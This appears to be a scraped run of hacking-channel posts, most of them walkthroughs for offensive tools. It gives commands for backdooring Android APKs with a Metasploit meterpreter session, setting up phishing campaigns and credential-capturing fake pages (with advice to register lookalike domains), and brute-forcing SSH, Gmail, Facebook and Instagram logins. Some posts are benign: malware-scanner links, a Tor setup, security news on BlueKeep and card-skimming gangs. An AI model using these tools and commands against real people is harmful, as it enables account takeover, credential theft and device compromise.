▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Creating Backdoors on Android APK: backdoor-apk

1️⃣download apk

2️⃣apk-a backdoor - is a shell script that simplifies the process of adding a backdoor in any file APK for All Android . Users of this shell script must have a working knowledge of Linux , Bash , Metasploit , Apktool , Android SDK , smali, etc. This shell script is provided as is without any warranty and is intended for educational purposes only.

3️⃣A recompiled APK will be found in the original / dist directory. Install the APK on a compatible Android device, launch it and process the meterpreter connection through the generated resource script: msfconsole -r backdoor-apk.rc

enjoy ❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Phishing Assistant Hemingway
#FastTips

1️⃣This tool was created to simplify phishing campaigns. He is not trying to solve problems with relaying or SMTP reputation, but rather, to allow a pentester or a red team member to create a phishing campaign with a ready-made server for phishing. We also assume that if you are dealing with anti-phishing components, you have already converted your rules.

2️⃣ download https://github.com/ytisf/hemingway

3️⃣Using Hemingway
At the moment, Hemingway will not receive configuration files from the user; rather, it will work with the template. For example, the example.conf file in confs is available. However, the configuration file is not only the required files, but also the sampleconf folder.

[server]
address: 192.168.10.80
port: 25
maxconnections: 3

phish
addressescsv: sampleconf / addresses.csv
htmlbody: sampleconf / body.html
txtbody: sampleconf / body.txt
subject: What are you doing here?
attachments: sampleconf / body.html, sampleconf / body.txt

4️⃣This file is pretty straight forward and advanced. This gives Hemingway all the necessary information for a phishing campaign. Which files you need to attach (separated by the ',' symbol which means as many files as you want), email subject and body HTML and TXT.



enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Malicious file intelligence: fileintel
#FastTips

1️⃣ This is a tool used to collect various intelligence sources for a specific file. Fileintel is written in a modular way, so new intelligence sources can be easily added. Files are identified by the hash of the file (MD5, SHA1, SHA256).

2️⃣The output is in CSV format and sent to STDOUT, so the data can be saved or transferred to another program. Because the output is in CSV format, spreadsheets such as Excel systems or databases can easily import data. This works with Python v2, but it should also work with Python v3. If you find that this does not work with Python v3, send an error message.

3️⃣download https://github.com/keithjjones/fileintel

4️⃣$ pip install -r requirements.txt


>Some issues were discovered with the stock version of Python on Mac OSX ( http://stackoverflow.com/questions/31649390/python-requests-ssl-handshake-failure ). You may need to install the query library security part using the following command:

$ pip install requests [security]

5️⃣$ python fileintel.py myconfigfile.conf myhashes.txt -a> myoutput.csv


enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑SCANNERS & SECURITY
> top malware scanners :
#fAStTips

VirusTotal (Requires network I / O and a public API key, throttled when necessary) http://www.virustotal.com


NSRL database http://www.nsrl.nist.gov/Downloads.htm
ThreatCrowd (Requires network I / O, throttled when necessary) http://www.threatcrowd.org

OTX by AlienVault (Requires network I / O and API key) https://otx.alienvault.com


ThreatExpert (Requires Network I / O) http://www.threatexpert.com/


▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑SCANNERS & SECURITY
> top malware scanners :
#fAStTips

VirusTotal (Requires network I / O and a public API key, throttled when necessary) http://www.virustotal.com


NSRL database http://www.nsrl.nist.gov/Downloads.htm
ThreatCrowd (Requires network I / O, throttled when necessary) http://www.threatcrowd.org

OTX by AlienVault (Requires network I / O and API key) https://otx.alienvault.com


ThreatExpert (Requires Network I / O) http://www.threatexpert.com/


▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑HOST YOUR OWN VIRUSTOTAL
> FREE OPEN SOURCES. API FOR EACH ONE :


>VirusTotal Python Library https://github.com/blacktop/virustotal-api

>The NSRL Database http://www.nsrl.nist.gov/Downloads.htmhttps://blog.didierstevens.com/2015/09/01/nsrl-py-using-the-reference-data-set-of- the-national-software-reference-library /


>ThreatCrowd Python Library https://github.com/threatcrowd/ApiV2https://github.com/jheise/threatcrowd_api


> Python OTX Library https://github.com/AlienVault-Labs/OTX-Python-SDKhttps://otx.alienvault.com/api/


>ThreatExpertScrape using BeautifulSoup https://www.crummy.com/software/BeautifulSoup/bs4/doc Web requests using the request library http://docs.python-requests.org/en/master/http://www.threatexpert .com /

enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑hack fcb/insta/ssh/ftp

> Bruteforce Server Module: brut3k1t

☠️brut3k1t is a bruteforce server module that supports dictionary lookup attacks for multiple protocols. Current and completed protocols that are already supported:

>ssh

>ftp

>smtp

>Xmpp

>instagram

>facebook

In the future, it is planned to implement various protocols and services (including Twitter, Facebook, Instagram).

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1️⃣git clone https://github.com/ex0dus-0x/brute.git

2️⃣DEPENCIES :

argparse - Used to parse command line arguments
paramiko - Used to work with SSH connections and authentication
ftplib - Used for working with FTP connections and authentication
smtplib - Used to work with SMTP (email) connections and authentication
fbchat - Used to connect to Facebook
selenium - Used for web bonding that is used with Instagram (and later on Twitter)
xmppy - used for XMPP connections ... and much more in the future

3️⃣cd / path / to / brut3k1t

4️⃣Enter python brut3k1t -h and this will bring up a help menu..

🦑Examples of using:

Hacking an SSH server running on 192.168.1.3 using root and wordlist.txt as a wordlist.

python brut3k1t.py -s ssh -a 192.168.1.3 -u root -w wordlist.txt
The program will automatically set the port to 22, but if it is different, specify -p mark.

Hacking test@gmail.com email with wordlist.txt on port 25 with a 3 second delay. For email, you must use the SMTP server address. For example, for Gmail = smtp.gmail.com. You can research this question with Google.

python brut3k1t.py -s smtp -a smtp.gmail.com -u test@gmail.com -w wordlist.txt -p 25 -d 3

Hacking Facebook is a real challenge as you will need a target user ID, not a username.

python brut3k1t.py -s facebook -u 1234567890 -w wordlist.txt
Hacking Instagram with the username test with wordlist wordlist.txt, as well as with a 5 second delay

python brut3k1t.py -s instagram -u test -w wordlist.txt -d 5

enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑AMAZING FEATURES :

1️⃣FirePhish is a complete phishing framework for managing all types of phishing activities. It allows you to track individual phishing campaigns, send emails and much more. Features will continue to be expanded to include website spoofing , click tracking, and advanced notification options.

2️⃣FirePhish URL Prefix This is the most important property that should be used immediately after you install FirePhish. This property changes the FirePhish URL from something like “http://domain.com/” to “http://domain.com/cant/guess/this/”
Phishing Campaigns FirePhish allows you to create large phishing campaigns that send emails over any period of time that you would like. You just give him an “Email Template”, “User Target List” and a mailing schedule, and he will take care of the rest.

3️⃣Email Simple Sending Sometimes, all you want to do is send one simple phishing email without the hassle of creating everything you need for the campaign. FirePhish lets you do this!

4️⃣Checking Email Configuration Checks Checking if all DNS records are configured correctly to exclude spam filters can be a lot of trouble. Fortunately, FirePhish did a configuration check. It will analyze A records, MX records, and SPF records to make sure they are configured correctly so that you can start sending emails.

5️⃣Activity Logs Tracking all activity is extremely important for pentesting and especially for phishing exercises. FirePhish has the great ability to register in all applications. You can track other users and specifically determine which emails were sent and when all actions were completed.

6️⃣Fast Replacement Sometimes you want to put down a server that has been heavily affected by a phishing campaign and create a new server. The worst part about all this is that you can lose all the data associated with this first server! FirePhish has a simple import / export function that allows you to quickly export all the data from one FirePhish server and import it to the new FirePhish server. He creates new systems and easily demolishes old systems. All information is transmitted, including activity logs .

7️⃣User Management FirePhish allows you to create new accounts for all the people who work with you on phishing. You can also track all their activity through the activity log. All users have the same permission level. No user access control.

🦑download
https://github.com/Raikia/FiercePhish/wiki

> Recommended Prerequisites

Get a domain name to send email
<This condition is optional, but we strongly recommend that you do so. Phishing campaigns in which you use an active domain that you do not own are extremely susceptible to spam filtering (if the domain SPF record is configured incorrectly). The best way to conduct a phishing campaign is to purchase a common domain that can trick someone (“yourfilehost.com”) or a domain that closely resembles an existing one (“microsoft-secure.com”).

🦑System requirements

Linux
PHP> = 5.5.9
OpenSSL PHP Extension
PDO PHP Extension
Mbstring PHP Extension
Tokenizer PHP Extension
Rewrite php extension

enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑WeeMan - Python HTTP phishing server

>Creates a fake html page.
>Waiting for customers.
>Captures data (POST).
>Tries to force the client to go to the original page.

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

>Archlinux sudo pacman -S python2-beautifulsoup4

>Ubuntu / Linuxmint sudo apt-get install python-bs4

>Fedora <22 sudo yum install python-beautifulsoup4

>Fedora> = 22 sudo dnf install python-beautifulsoup4

For another operating system: sudo pip install beautifulsoup4 Starting the server server:

>For port 80, you need to run Weeman as root!

>Cloning host (Ex: www.social-networks.local)
set url


>The Weeman port of the server will listen to

>set port 2020

> Run the server
run

ENJOY❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Metasploit team releases exploit for BlueKeep vulnerability
#news

> The developers of the Metasploit project introduced a module designed to exploit the BlueKeep vulnerability affecting the Microsoft Windows operating system.

>Recall we are talking about the vulnerability CVE-2019-0708 that affects Remote Desktop Services in older versions of Windows (Windows XP, Windows 2003, Windows 7, Windows Server 2008 and Windows Server 2008 R2). As Microsoft explained, the bug is “worm-like”, that is, it allows malware to spread from computer to computer, just like the WannaCry malware spread around the world in 2017. Although the manufacturer fixed the problem back in May of this year, according to BinaryEdge, about 700 thousand systems are still vulnerable to this attack.

>Although previously various security experts have already issued PoC codes to exploit the problem (they had a number of limitations), this exploit allows you to remotely execute arbitrary code.

>It is worth noting that the developers have added a number of restrictions. In particular, at present, the module is launched only in manual mode (that is, operation requires user interaction) and is not suitable for automated attacks. In addition, the exploit works only on 64-bit versions of Windows 7 and Windows 2008 R2.

@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Hacker organization Keeper tracking: invaded 570 home appliance business websites for more than 7 million yuan in three years
#News

> The hacker group "Keeper" stated that it was responsible for the data breaches of more than 570 online e-commerce websites in the past three years. The hacker's trick to prevent it is to invade the background of the mall, modify the source code, embed malicious scripts, record the details of the payment card of the shopper when paying, and so on.

>This type of cyber attack is also called "web skimming/e-skimming" (web looting). In a report released today by threat intelligence company Gemini Advisory, the Keeper organization has already committed these cybercrimes at least in April 2017, and is still at large.

> Gemini said the company tracked the hacker's activities. This is mainly because the organization's back-end server uses the same control panel to facilitate the management of payment card details collected from the e-commerce platform.

> Through the identification of the background panel, Gemini tracked all historical activities of Keeper. These include the location of the back-end panel in the past, malicious URLs used to build hacker basic settings, and malicious scripts that Keeper inserts into online stores.

> Gemini said that many of the 570 e-commerce platforms attacked by hackers are small and medium-sized. According to Amazon's Alexa traffic ranking, Gemini said that the vast majority of stores operate on a small scale. However, Keeper will also launch attacks on some large e-commerce platforms. The following is a list of the top e-commerce platforms that have been attacked.

>According to background data retrieval, Keeper collected details of approximately 184,000 payment cards from July 2018 to April 2019. In the report shared today, Gemini estimates that the organization has collected information on nearly 700,000 payment cards.

>The report states: "Given the current dark web median price of each damaged Card Not Present (CNP) card is $10, the group may have obtained up to 700 by stealing and selling damaged payment cards throughout its life cycle. More than ten thousand dollars in income."

#news
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

🦑crackle cracks BLE Encryption (AKA Bluetooth Smart).

crackle exploits a flaw in the BLE pairing process that allows an attacker to guess or very quickly brute force the TK (Temporary Key). With the TK and other data collected from the pairing process, the STK (Short Term Key) and later the LTK (Long Term Key) can be collected.

With the STK and LTK, all communications between the master and the slave can be decrypted.

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1️⃣download or clone https://github.com/mikeryan/crackle

2️⃣In Crack TK mode, crackle requires a PCAP file that contains a BLE pairing event. The best way to generate such a file is to use an Ubertooth to capture a pairing event between a master and a slave.

3️⃣To check if your PCAP file contains all the necessary packets, run crackle with the -i option:

> crackle -i <file.pcap>

4️⃣crackle will analyze each connection in the input file and output the results of its analysis to stdout. If you have all the components of a pairing conversation, the output will look like this:

> Analyzing connection 0:
xx:xx:xx:xx:xx:xx (public) -> yy:yy:yy:yy:yy:yy (p
.........

5️⃣To decrypt all packets, add the -o option:

> crackle -i <file.pcap> -o <output.pcap>

🦑FOR MORE INFO https://github.com/mikeryan/crackle/blob/master/FAQ.md

> https://lacklustre.net/bluetooth/crackle-sample.tgz


@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

🦑TOR SERVER MANUA INSTALL :

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

Install torctl on Kali Linux

1) sudo apt install tor macchanger secure-delete

2) git clone https://github.com/BlackArch/torctl

3) cd torctl

4) sudo mv service/* /etc/systemd/system/

5) Sudo mv bash-completion/torctl /usr/share/bash-completion/completions/torctl

6) sed -i 's/start_service iptables//' torctl

7) sed -i 's/TOR_UID="tor"/TOR_UID="debian-tor"/' torctl

8) sudo mv torctl /usr/bin/torctl

9) cd .. && rm -rf torctl/

10) torctl --help

11) Install torctl in BlackArch

12) sudo pacman -S torctl

13) To find out your current IP, do:

> torctl ip

14) To start Tor as a transparent proxy:

15) sudo torctl start

@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

BONUS🤣

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

🦑 North Korean hackers are plundering credit card details from online shoppers
#NEWS

>Hackers related to the infamous North Korean Lazarus Group are breaking into online stores and stealing customer credit card details when customers visit the checkout page. These attacks, known as "web looting" or "Magecart attacks," have been ongoing since May 2019 and attacked large retailers such as international fashion chain Claire's.

>Dutch cybersecurity company SanSec reported these attacks. It writes that digital predatory technology has been growing since 2015, and although traditionally used by Russian and Indonesian-language hacker organizations, North Korean criminals supported by the government are now intercepting credit card details in online stores.

>The attack involves obtaining access to the back-end server of the online store, usually by sending a booby-mail to employees to obtain their password. Hackers sneaked into the jewelry store Claire's website in April and June. Once the website is compromised, the malicious script will be loaded on the checkout page and stolen when the credit card details are entered into the form. Once the transaction is completed, the intercepted data will be sent to a collection server controlled by the hacker organization and sold on the dark web.

>The group has established a global penetration network to profit from predatory operations. This includes hijacking and reusing legitimate websites, disguising as criminal activity, and delivering stolen assets. A model agency in Milan, an antique music store in Tehran, and a family-run bookstore in New Jersey are all part of the network.

>Researchers at Sansec discovered that there was a link between the activity and previous North Korean hacking operations. The evidence points to Hidden Cobra, also known as the Lazarus Group, which was behind the 2014 Sony Pictures hacking and the Bangladesh Bank robbery in 2016, and is widely regarded as the initiator of WannaCry malware.

#news
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑hack.chat
hack.chat is a minimal, distraction-free, accountless, logless, disappearing chat service which is easily deployable as your own service. The current client comes bundled with LaTeX rendering provided by KaTeX and code syntax highlighting provided by highlight.js

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1️⃣Clone the repository: git clone https://github.com/hack-chat/main.git

2️⃣Change the directory: cd main

3️⃣Install the dependencies: npm install

4️⃣Launch: npm start

5️⃣If you change the websocketPort option during the config setup then these changes will need to be reflected on line 60 of client.js.

6️⃣The commands are to be sent through a websocket to the URL wss://hack.chat/chat-ws (everything sent and received are JSON). If you are sending messages locally or to another domain, replace 'hack.chat' with the respective domain. If you're running your own instance of hack.chat, you can retain backwards-compatibility in order to ensure that software created for the main server will work on yours too.

All commands sent must be JSON objects with the command specified in the "cmd" key. For example:

{
"cmd": "join",
"channel": "programming",
"nick": "john#doe"
}

7️⃣FOR MORE USAGE :

https://github.com/hack-chat/main/blob/master/documentation/DOCUMENTATION.md

ENJOY❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁